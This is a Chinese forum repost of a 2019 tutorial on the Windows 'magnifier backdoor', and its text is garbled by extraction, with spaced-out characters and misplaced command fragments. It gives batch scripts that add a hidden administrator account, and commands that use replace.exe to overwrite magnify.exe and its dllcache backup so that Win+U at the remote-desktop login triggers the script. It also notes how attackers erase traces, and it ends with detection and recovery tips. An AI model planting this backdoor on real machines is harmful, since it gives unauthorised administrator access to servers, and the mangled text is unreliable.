搜索

[74] 2019-10-23_Windows系统之放大镜后门

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-15
2019-10-23_Windows系统之放大镜后门 W i n d o w s 系 统 之 放 大 镜 后 门 原 创   f 0 n g   A d m i n   T e a m   2 0 1 9 - 1 0 - 2 3 0 x 0 0   构 造 构 造 1 . 放 大 镜 后 门 与 放 大 镜 后 门 与 s h i f t 后 门 运 用 原 理 相 同 。 后 门 运 用 原 理 相 同 。 首 先 将   下 的       删 除 ， 然 后 将   下 的       移 动 到 并 更 名 为     , 且 在       下 删 除 存 在 的 ,   将 修 改 过 后 的     移 动 至     。 C : W I N D O W S s y s t e m 3 2 d l l c a c h e m a g n i f y . e x e C : W I N D O W S s y s t e m 3 2 c m d . e x e C : W I N D O W S s y s t e m 3 2 d l l c a c h e m a g n i f y . e x e C : W I N D O W S s y s t e m 3 2 m a g n i f y . e x e m a g n i f y . e x e C : W I N D O W S s y s t e m 3 2
只 是 触 发 的 方 式 更 改 了 ， w i n + U 触 发 ( 这 里 我 自 己 在 w i n d o w s 2 0 0 3 登 录 页 面 进 行 w i n + R 触 发 ， 没 有 成 功 ) 2 .   网 上 看 到 的 一 个 知 识 点 ， 批 处 理 ： 网 上 看 到 的 一 个 知 识 点 ， 批 处 理 ： ( 1 ) . 构 造 批 处 理 脚 本 　 　 　 将 上 面 的 脚 本 保 存 为   ， 其 作 用 是 创 建 一 个 密 码 为 的 管 理 员 用 户   ， 最 后 运 行 改 名 后 的 放 大 镜 程 序     。 @ e c h o   o f f n e t   u s e r   g s l w   t e s t 1 6 8   / a d d n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   g s l w   / a d d % W i n d i r % s y s t e m 3 2 m a g n i f y . e x e e x i t m a g n i f y . b a t t e s t 1 6 8 g s l w $ m a g n i f y . e x e
  ( 个 人 感 觉 最 后 一 步 没 有 必 要 ， 因 为 后 面 运 行 了 更 改 后 的     的 话 ， 就 可 以 立 即 创 建 并 且 加 入 了 。 ) 例 ： ( 由 于 是 一 闪 而 过 ， 所 以 截 图 到 得 是 没 有 运 行 。 ) m a g n i f y . e x e
( 2 ) . 文 件 格 式 转 换 　 　 因 为 批 处 理 文 件     的 后 缀 是     ， 必 须 要 将 其 转 换 为 同 名 的     文 件 才 可 以 通 过 组 合 键     调 用 。 攻 击 者 一 般 可 以 利 用   构 造 一 个 自 动 解 压 的     压 缩 文 件 ， 当 然 也 可 以 利 用     进 行 文 件 格 式 的 转 换 。 我 们 就 以 后 面 的 方 法 为 例 进 行 演 示 。 ( 进 行 编 译 ， 出 现   m a g n i f y . e x e   。 ) m a g n i f y . b a t b a t e x e W i n + U W i n R a r e x e b a t 2 c o m
( 3 ) . 放 大 镜 文 件 替 换 　 　 下 面 就 需 要 用 构 造 的     替 换 同 名 的 放 大 镜 程 序 文 件 ， 由 于     对 系 统 文 件 的 自 我 保 护 ， 因 此 不 能 直 接 替 换 ， 不 过     提 供 了 一 个 命 令     ， 通 过 它 我 们 可 以 替 换 系 统 文 件 。 另 外 ， 由 于 系 统 文 件 在     中 有 备 份 ， 为 了 防 止 文 件 替 换 后 又 重 新 还 原 ， 所 以 我 们 首 先 要 替 换 该 目 录 下 的     文 件 。 假 设 构 造 的     文 件 在     目 录 下 ， 我 们 可 以 通 过 一 个 批 处 理 即 可 实 现 文 件 的 替 换 。   ( 上 面 批 处 理 的 功 能 是 ， 首 先 将 放 大 镜 程 序 备 份 为   n a g n i f y . e x e   ， 然 后 用 同 名 的 构 造 程 序 将 其 替 换 。 ) ( q q q . b a t 为 批 处 理 文 件 ， m a g n i f y . e x e 为 运 行 q q q . b a t 出 现 的 文 件 。 ) ( 4 ) . 攻 击 利 用 m a g n i f y . e x e W i n d o w s W i n d o w s r e p l a c e . e x e % W i n d i r % s y s t e m 3 2 d l l c a c h e m a g n i f y . e x e m a g n i f y . e x e % W i n d i r % @ e c h o   o f f c o p y   % W i n d i r % s y s t e m 3 2 d l l c a c h e m a g n i f y . e x e   n a g n i f y . e x e c o p y   % W i n d i r % s y s t e m 3 2 m a g n i f y . e x e   n a g n i f y . e x e r e p l a c e . e x e   % W i n d i r % m a g n i f y . e x e   % W i n d i r % s y s t e m 3 2 d l l c a c h e r e p l a c e . e x e   % W i n d i r % m a g n i f y . e x e   % W i n d i r % s y s t e m 3 2 e x i t
　 　 当 完 成 上 述 操 作 后 ， 一 个 放 大 镜 后 门 就 做 成 了 。 然 后 攻 击 者 通 过 远 程 桌 面 连 接 服 务 器 ， 在 登 录 界 面 窗 口 摁 下 本 地 键 盘 的       组 合 键 ， 选 择 运 行 其 中 的 “ 放 大 镜 ” ， 此 刻 就 在 服 务 器 上 创 建 了 一 个 管 理 员 用 户   并 打 开 了 放 大 镜 工 具 ， 然 后 攻 击 者 就 可 以 通 过 该 帐 户 登 录 服 务 器 。 当 然 ， 攻 击 者 在 断 开 登 录 前 会 删 除 所 有 与 该 帐 户 相 关 的 信 息 ， 以 防 被 管 理 员 发 现 。 ( 可 以 看 到 g s l w 用 户 被 加 入 。 ) ( 5 ) . 防 范 措 施 　 　 进 入     查 看     的 文 件 图 标 是 否 是 原 来 的 放 大 镜 的 图 标 ， 如 果 不 是 的 话 极 有 可 能 被 植 入 了 放 大 镜 后 门 。 当 然 ， 有 的 时 候 攻 击 者 也 会 将 其 文 件 图 标 更 改 为 和 原 放 大 镜 程 序 的 图 标 一 样 。 此 时 我 们 可 以 查 看     文 件 的 大 小 和 修 改 时 间 ， 如 果 这 两 样 有 一 项 不 符 就 比 较 怀 疑 了 。 我 们 也 可 以 先 运 行     ， 然 后 运 行     查 看 是 否 有 可 疑 的 用 户 。 如 果 确 定 服 务 器 被 放 置 了 放 大 镜 后 门 ， 首 先 要 删 除 该 文 件 ， 然 后 恢 复 正 常 的 放 大 镜 程 序 。 当 然 ， 我 们 也 可 以 做 得 更 彻 “ W i n + U ” g s l w $ % W i n d i r % s y s t e m 3 2 m a g n i f y . e x e m a g n i f y . e x e m a g n i f y . e x e l u s r m g r . m s c
底 一 些 ， 用 一 个 无 关 紧 要 的 程 序 替 换 放 大 镜 程 序 。 甚 至 我 们 也 可 以 以 其 人 之 道 还 治 其 人 之 身 ， 构 造 一 个   ， 通 过 其 警 告 攻 击 者 或 者 进 行 入 侵 监 控 和 取 证 。   知 识 点 注 解 ： 知 识 点 注 解 ：   注 解 1 . @ e c h o   o f f 不 显 示 路 径 ， 关 闭 回 显 2 . w i n d o w s   命 令 注 解 示 例 : （ C : t e s t 1 . t x t 内 容 如 上 图   t e s t 1 1 1 1 1 1 1 1 。 ） m a g n i f y . e x e . b a t n e t   u s e r   g s l w   t e s t 1 6 8   / a d d           / / 添 加 用 户 名 为 g s l w , 密 码 为 t e s t 1 6 8 用 户 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   g s l w   / a d d         / / 添 加 用 户 g s l w 进 入 a d m i n i s t r a t o r 组 c o p y   % W i n d i r % s y s t e m 3 2 d l l c a c h e m a g n i f y . e x e   n a g n i f y . e x e         / / 复 制 ， 类 似 于 l i n u x 上 的 c p r e p l a c e . e x e   % W i n d i r % m a g n i f y . e x e   % W i n d i r % s y s t e m 3 2   / / 替 换 ， 见 下 面 示 例
( C : w m p u b t e s t 1 . t x t 内 容 如 上 图   t e s t 2 2 2 2 2 2 2 。 ) （ t e s t . b a t 内 容 如 上 。 ）         ( 运 行 t e s t . b a t 后 如 上 图 。 ) 由 此 可 知 r e p l a c e . e x e 可 以 进 行 文 件 替 换 ， 但 是 第 一 个 值 为 文 件 名 ， 第 二 个 值 必 须 为 路 径 名 ， 且 必 须 为 同 名 ， 否 则 不 行 。                                                                           扫 码 关 注 公 众 号

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理